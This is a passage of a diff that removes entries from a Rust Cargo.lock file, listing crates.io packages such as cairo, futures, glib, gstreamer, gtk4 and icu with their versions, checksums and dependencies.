-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ae50b5510d86cf96ac2370e66d8dc960882f3df179d6a5a1e52bd94a1416c0f7"
-dependencies = [
- "bitflags 2.9.0",
- "cairo-sys-rs",
- "glib",
- "libc",
-]
-
-[[package]]
-name = "cairo-sys-rs"
-version = "0.20.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f18b6bb8e43c7eb0f2aac7976afe0c61b6f5fc2ab7bc4c139537ea56c92290df"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "cc"
-version = "1.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be714c154be609ec7f5dad223a33bf1482fff90472de28f7362806e6d4832b8c"
-dependencies = [
- "shlex",
-]
-
-[[package]]
-name = "cfg-expr"
-version = "0.17.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d4ba6e40bd1184518716a6e1a781bf9160e286d219ccdb8ab2612e74cfe4789"
-dependencies = [
- "smallvec",
- "target-lexicon",
-]
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "cfg_aliases"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
-
-[[package]]
-name = "chrono"
-version = "0.4.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c"
-dependencies = [
- "android-tzdata",
- "iana-time-zone",
- "num-traits",
- "windows-link",
-]
-
-[[package]]
-name = "color-thief"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6460d760cf38ce67c9e0318f896538820acc54f2d0a3bfc5b2c557211066c98"
-dependencies = [
- "rgb",
-]
-
-[[package]]
-name = "common-path"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2382f75942f4b3be3690fe4f86365e9c853c1587d6ee58212cebf6e2a9ccd101"
-
-[[package]]
-name = "concurrent-queue"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crc32fast"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06ba6d68e24814cb8de6bb986db8222d3a027d15872cabc0d18817bc3c0e4471"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.9.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
-
-[[package]]
-name = "crypto-common"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-dependencies = [
- "generic-array",
- "typenum",
-]
-
-[[package]]
-name = "data-encoding"
-version = "2.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "575f75dfd25738df5b91b8e43e14d44bda14637a58fae779fd2b064f8bf3e010"
-
-[[package]]
-name = "digest"
-version = "0.10.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
-dependencies = [
- "block-buffer",
- "crypto-common",
-]
-
-[[package]]
-name = "displaydoc"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "either"
-version = "1.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
-
-[[package]]
-name = "endi"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3d8a32ae18130a3c84dd492d4215c3d913c3b07c6b63c2eb3eb7ff1101ab7bf"
-
-[[package]]
-name = "enumflags2"
-version = "0.7.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba2f4b465f5318854c6f8dd686ede6c0a9dc67d4b1ac241cf0eb51521a309147"
-dependencies = [
- "enumflags2_derive",
- "serde",
-]
-
-[[package]]
-name = "enumflags2_derive"
-version = "0.7.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc4caf64a58d7a6d65ab00639b046ff54399a39f5f2554728895ace4b297cd79"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "equivalent"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
-
-[[package]]
-name = "errno"
-version = "0.3.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33d852cb9b869c2a9b3df2f71a3074817f01e1844f839a144f5fcef059a4eb5d"
-dependencies = [
- "libc",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "event-listener"
-version = "2.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0"
-
-[[package]]
-name = "event-listener"
-version = "5.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3492acde4c3fc54c845eaab3eed8bd00c7a7d881f78bfc801e43a93dec1331ae"
-dependencies = [
- "concurrent-queue",
- "parking",
- "pin-project-lite",
-]
-
-[[package]]
-name = "event-listener-strategy"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c3e4e0dd3673c1139bf041f3008816d9cf2946bbfac2945c09e523b8d7b05b2"
-dependencies = [
- "event-listener 5.4.0",
- "pin-project-lite",
-]
-
-[[package]]
-name = "fallible-iterator"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649"
-
-[[package]]
-name = "fallible-streaming-iterator"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a"
-
-[[package]]
-name = "fastrand"
-version = "2.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
-
-[[package]]
-name = "field-offset"
-version = "0.3.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f"
-dependencies = [
- "memoffset",
- "rustc_version",
-]
-
-[[package]]
-name = "file-id"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6bc904b9bbefcadbd8e3a9fb0d464a9b979de6324c03b3c663e8994f46a5be36"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "filetime"
-version = "0.2.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35c0522e981e68cbfa8c3f978441a5f34b30b96e146b33cd3359176b50fe8586"
-dependencies = [
- "cfg-if",
- "libc",
- "libredox",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "flate2"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "11faaf5a5236997af9848be0bef4db95824b1d534ebc64d0f0c6cf3e67bd38dc"
-dependencies = [
- "crc32fast",
- "miniz_oxide",
-]
-
-[[package]]
-name = "flexi_logger"
-version = "0.29.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88a5a6882b2e137c4f2664562995865084eb5a00611fba30c582ef10354c4ad8"
-dependencies = [
- "chrono",
- "log",
- "nu-ansi-term 0.50.1",
- "regex",
- "thiserror 2.0.12",
-]
-
-[[package]]
-name = "form_urlencoded"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "fsevent-sys"
-version = "4.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "futures"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-io",
- "futures-sink",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10"
-dependencies = [
- "futures-core",
- "futures-sink",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6"
-
-[[package]]
-name = "futures-lite"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f5edaec856126859abb19ed65f39e90fea3a9574b9707f13539acf4abf7eb532"
-dependencies = [
- "fastrand",
- "futures-core",
- "futures-io",
- "parking",
- "pin-project-lite",
-]
-
-[[package]]
-name = "futures-macro"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7"
-
-[[package]]
-name = "futures-task"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988"
-
-[[package]]
-name = "futures-util"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-macro",
- "futures-sink",
- "futures-task",
- "memchr",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "fuzzy-matcher"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "54614a3312934d066701a80f20f15fa3b56d67ac7722b39eea5b4c9dd1d66c94"
-dependencies = [
- "thread_local",
-]
-
-[[package]]
-name = "gdk-pixbuf"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7563afd6ff0a221edfbb70a78add5075b8d9cb48e637a40a24c3ece3fea414d0"
-dependencies = [
- "gdk-pixbuf-sys",
- "gio",
- "glib",
- "libc",
-]
-
-[[package]]
-name = "gdk-pixbuf-sys"
-version = "0.20.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67f2587c9202bf997476bbba6aaed4f78a11538a2567df002a5f57f5331d0b5c"
-dependencies = [
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gdk4"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4850c9d9c1aecd1a3eb14fadc1cdb0ac0a2298037e116264c7473e1740a32d60"
-dependencies = [
- "cairo-rs",
- "gdk-pixbuf",
- "gdk4-sys",
- "gio",
- "glib",
- "libc",
- "pango",
-]
-
-[[package]]
-name = "gdk4-sys"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f6eb95798e2b46f279cf59005daf297d5b69555428f185650d71974a910473a"
-dependencies = [
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "pango-sys",
- "pkg-config",
- "system-deps",
-]
-
-[[package]]
-name = "generator"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc6bd114ceda131d3b1d665eba35788690ad37f5916457286b32ab6fd3c438dd"
-dependencies = [
- "cfg-if",
- "libc",
- "log",
- "rustversion",
- "windows 0.58.0",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43a49c392881ce6d5c3b8cb70f98717b7c07aabbdff06687b9030dbfbe2725f8"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi 0.13.3+wasi-0.2.2",
- "windows-targets",
-]
-
-[[package]]
-name = "gettext-rs"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a44e92f7dc08430aca7ed55de161253a22276dfd69c5526e5c5e95d1f7cf338a"
-dependencies = [
- "gettext-sys",
- "locale_config",
-]
-
-[[package]]
-name = "gettext-sys"
-version = "0.22.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb45773f5b8945f12aecd04558f545964f943dacda1b1155b3d738f5469ef661"
-dependencies = [
- "cc",
- "temp-dir",
-]
-
-[[package]]
-name = "gio"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4f00c70f8029d84ea7572dd0e1aaa79e5329667b4c17f329d79ffb1e6277487"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-util",
- "gio-sys",
- "glib",
- "libc",
- "pin-project-lite",
- "smallvec",
-]
-
-[[package]]
-name = "gio-sys"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "160eb5250a26998c3e1b54e6a3d4ea15c6c7762a6062a19a7b63eff6e2b33f9e"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "glib"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "707b819af8059ee5395a2de9f2317d87a53dbad8846a2f089f0bb44703f37686"
-dependencies = [
- "bitflags 2.9.0",
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-task",
- "futures-util",
- "gio-sys",
- "glib-macros",
- "glib-sys",
- "gobject-sys",
- "libc",
- "memchr",
- "smallvec",
-]
-
-[[package]]
-name = "glib-macros"
-version = "0.20.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "715601f8f02e71baef9c1f94a657a9a77c192aea6097cf9ae7e5e177cd8cde68"
-dependencies = [
- "heck",
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "glib-sys"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8928869a44cfdd1fccb17d6746e4ff82c8f82e41ce705aa026a52ca8dc3aefb"
-dependencies = [
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gloo-timers"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994"
-dependencies = [
- "futures-channel",
- "futures-core",
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "gobject-sys"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c773a3cb38a419ad9c26c81d177d96b4b08980e8bdbbf32dace883e96e96e7e3"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "graphene-rs"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3cbc5911bfb32d68dcfa92c9510c462696c2f715548fcd7f3f1be424c739de19"
-dependencies = [
- "glib",
- "graphene-sys",
- "libc",
-]
-
-[[package]]
-name = "graphene-sys"
-version = "0.20.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "11a68d39515bf340e879b72cecd4a25c1332557757ada6e8aba8654b4b81d23a"
-dependencies = [
- "glib-sys",
- "libc",
- "pkg-config",
- "system-deps",
-]
-
-[[package]]
-name = "gsk4"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61f5e72f931c8c9f65fbfc89fe0ddc7746f147f822f127a53a9854666ac1f855"
-dependencies = [
- "cairo-rs",
- "gdk4",
- "glib",
- "graphene-rs",
- "gsk4-sys",
- "libc",
- "pango",
-]
-
-[[package]]
-name = "gsk4-sys"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "755059de55fa6f85a46bde8caf03e2184c96bfda1f6206163c72fb0ea12436dc"
-dependencies = [
- "cairo-sys-rs",
- "gdk4-sys",
- "glib-sys",
- "gobject-sys",
- "graphene-sys",
- "libc",
- "pango-sys",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2188fe829b0ebe12e4cf2bbcf6658470a936269daba7afae92847a2af32c9105"
-dependencies = [
- "cfg-if",
- "futures-channel",
- "futures-core",
- "futures-util",
- "glib",
- "gstreamer-sys",
- "itertools",
- "libc",
- "muldiv",
- "num-integer",
- "num-rational",
- "once_cell",
- "option-operations",
- "paste",
- "pin-project-lite",
- "smallvec",
- "thiserror 2.0.12",
-]
-
-[[package]]
-name = "gstreamer-audio"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49118ca684e2fc42207509fcac8497d91079c2ffe8ff2b4ae99e71dbafef1ede"
-dependencies = [
- "cfg-if",
- "glib",
- "gstreamer",
- "gstreamer-audio-sys",
- "gstreamer-base",
- "libc",
- "once_cell",
- "smallvec",
-]
-
-[[package]]
-name = "gstreamer-audio-sys"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d469526ecf30811b50a6460fd285ee40d189c46048b3d0c69b67a04b414fb51"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "gstreamer-base-sys",
- "gstreamer-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-base"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad33dd444db0d215ac363164f900f800ffb93361ad8a60840e95e14b7de985e8"
-dependencies = [
- "atomic_refcell",
- "cfg-if",
- "glib",
- "gstreamer",
- "gstreamer-base-sys",
- "libc",
-]
-
-[[package]]
-name = "gstreamer-base-sys"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "114b2a704f19a70f20c54b00e54f5d5376bbf78bd2791e6beb0776c997d8bf24"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "gstreamer-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-play"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ef455584b832e9fdc76f7952b9432eaee2fd287157b03cf2bc0e83f1b41619c"
-dependencies = [
- "glib",
- "gstreamer",
- "gstreamer-play-sys",
- "gstreamer-video",
- "libc",
-]
-
-[[package]]
-name = "gstreamer-play-sys"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b01c1c4f09cb6709c7da2532b3fcbc14da9006d508baee606328080e46f491f5"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "gstreamer-sys",
- "gstreamer-video-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-sys"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe159238834058725808cf6604a7c5d9e4a50e1eacd7b0c63bce2fe3a067dbd1"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-video"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad242d388b63c91652c8157de3b0c1f709e49c941a0aae1952455f6ee326ca2d"
-dependencies = [
- "cfg-if",
- "futures-channel",
- "glib",
- "gstreamer",
- "gstreamer-base",
- "gstreamer-video-sys",
- "libc",
- "once_cell",
- "thiserror 2.0.12",
-]
-
-[[package]]
-name = "gstreamer-video-sys"
-version = "0.23.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "465ff496889fb38be47f5e821163c2e83414d87c4aa55f5aae62dc7200971d4d"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "gstreamer-base-sys",
- "gstreamer-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gtk4"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af1c491051f030994fd0cde6f3c44f3f5640210308cff1298c7673c47408091d"
-dependencies = [
- "cairo-rs",
- "field-offset",
- "futures-channel",
- "gdk-pixbuf",
- "gdk4",
- "gio",
- "glib",
- "graphene-rs",
- "gsk4",
- "gtk4-macros",
- "gtk4-sys",
- "libc",
- "pango",
-]
-
-[[package]]
-name = "gtk4-macros"
-version = "0.9.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ed1786c4703dd196baf7e103525ce0cf579b3a63a0570fe653b7ee6bac33999"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "gtk4-sys"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41e03b01e54d77c310e1d98647d73f996d04b2f29b9121fe493ea525a7ec03d6"
-dependencies = [
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gdk4-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "graphene-sys",
- "gsk4-sys",
- "libc",
- "pango-sys",
- "system-deps",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.14.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
-dependencies = [
- "ahash",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.15.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
-
-[[package]]
-name = "hashlink"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ba4ff7128dee98c7dc9794b6a411377e1404dba1c97deb8d1a55297bd25d8af"
-dependencies = [
- "hashbrown 0.14.5",
-]
-
-[[package]]
-name = "heck"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
-
-[[package]]
-name = "hermit-abi"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc"
-
-[[package]]
-name = "hex"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
-
-[[package]]
-name = "iana-time-zone"
-version = "0.1.61"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "235e081f3925a06703c2d0117ea8b91f042756fd6e7a6e5d901e8ca1a996b220"
-dependencies = [
- "android_system_properties",
- "core-foundation-sys",
- "iana-time-zone-haiku",
- "js-sys",
- "wasm-bindgen",
- "windows-core 0.52.0",
-]
-
-[[package]]
-name = "iana-time-zone-haiku"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "icu_collections"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526"
-dependencies = [
- "displaydoc",
- "yoke",
- "zerofrom",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637"
-dependencies = [
- "displaydoc",
- "litemap",
- "tinystr",
- "writeable",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid_transform"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e"
-dependencies = [
- "displaydoc",
- "icu_locid",
- "icu_locid_transform_data",
- "icu_provider",
- "tinystr",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid_transform_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdc8ff3388f852bede6b579ad4e978ab004f139284d7b28715f773507b946f6e"
-
-[[package]]
-name = "icu_normalizer"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f"
-dependencies = [
- "displaydoc",
- "icu_collections",
- "icu_normalizer_data",
- "icu_properties",
- "icu_provider",
- "smallvec",
- "utf16_iter",
- "utf8_iter",
- "write16",
- "zerovec",
-]
-
-[[package]]
-name = "icu_normalizer_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8cafbf7aa791e9b22bec55a167906f9e1215fd475cd22adfcf660e03e989516"
-
-[[package]]
-name = "icu_properties"
-version = "1.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93d6020766cfc6302c15dbbc9c8778c37e62c14427cb7f6e601d849e092aeef5"
-dependencies = [
- "displaydoc",
- "icu_collections",
- "icu_locid_transform",
- "icu_properties_data",
- "icu_provider",
- "tinystr",
- "zerovec",
-]
-
-[[package]]
-name = "icu_properties_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67a8effbc3dd3e4ba1afa8ad918d5684b8868b3b26500753effea8d2eed19569"
-
-[[package]]
-name = "icu_provider"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9"
-dependencies = [
- "displaydoc",
- "icu_locid",
- "icu_provider_macros",
- "stable_deref_trait",
- "tinystr",
- "writeable",
- "yoke",
- "zerofrom",
- "zerovec",
-]
-
-[[package]]
-name = "icu_provider_macros"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
